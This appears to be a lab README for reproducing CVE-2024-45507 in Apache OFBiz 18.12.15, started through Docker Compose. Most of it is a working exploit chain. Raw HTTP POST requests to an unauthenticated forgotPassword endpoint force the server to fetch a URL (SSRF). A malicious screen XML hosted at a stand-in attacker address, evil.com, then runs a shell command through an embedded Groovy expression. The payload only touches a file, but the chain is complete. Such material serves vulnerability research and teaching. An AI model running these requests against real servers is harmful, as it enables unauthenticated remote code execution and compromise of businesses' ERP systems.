# Apache OFBiz SSRF and Remote Code Execution (CVE-2024-45507)
|
|
|
|
[中文版本(Chinese version)](README.zh-cn.md)
|
|
|
|
Apache OFBiz is an open source enterprise resource planning (ERP) system. It provides a suite of enterprise applications that integrate and automate many of the business processes of an enterprise.
|
|
|
|
This vulnerability (CVE-2024-45507) affects Apache OFBiz versions prior to 18.12.16. It allows an unauthenticated attacker to perform Server-Side Request Forgery (SSRF) and potentially achieve remote code execution.
|

|
|
## Vulnerable environment
|
|
|
|
Execute the following command to start an Apache OFBiz 18.12.15 server:
|
|
|
|
```
|
|
docker compose up -d
|
|
```
|
|
|
|
After a short wait, you can see the login page at `https://localhost:8443/accounting`.
|
|
|
|
## Vulnerability Reproduce
|
|
|
|
### Server-Side Request Forgery (SSRF) attack
|
|
|
|
Send a POST request to `/webtools/control/forgotPassword/StatsSinceStart` with the following request:
|
|
|
|
```
|
|
POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
|
|
Host: localhost:8443
|
|
Accept-Encoding: gzip, deflate, br
|
|
Accept: */*
|
|
Accept-Language: en-US;q=0.9,en;q=0.8
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
|
|
Connection: close
|
|
Cache-Control: max-age=0
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 64
|
|
|
|
statsDecoratorLocation=http://10.10.10.10/path/to/api
|
|
```
|
|
|
|
### Remote Code Execution
|
|
|
|
Create a malicious XML file (payload.xml) on a public server like `http://evil.com/ofbiz/payload.xml`:
|
|
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
|
xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
|
|
|
|
<screen name="StatsDecorator">
|
|
<section>
|
|
<actions>
|
|
<set value="${groovy:'touch /tmp/success'.execute();}"/>
|
|
</actions>
|
|
</section>
|
|
</screen>
|
|
</screens>
|
|
```
|
|
|
|
Then replace your malicious XML url into following request and send:
|
|
|
|
```
|
|
POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
|
|
Host: localhost:8443
|
|
Accept-Encoding: gzip, deflate, br
|
|
Accept: */*
|
|
Accept-Language: en-US;q=0.9,en;q=0.8
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
|
|
Connection: close
|
|
Cache-Control: max-age=0
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 64
|
|
|
|
statsDecoratorLocation=http://evil.com/ofbiz/payload.xml
|
|
```
|
|
|
|
|
|
|
|
The command `touch /tmp/success` will be executed on the target server, demonstrating successful exploitation.
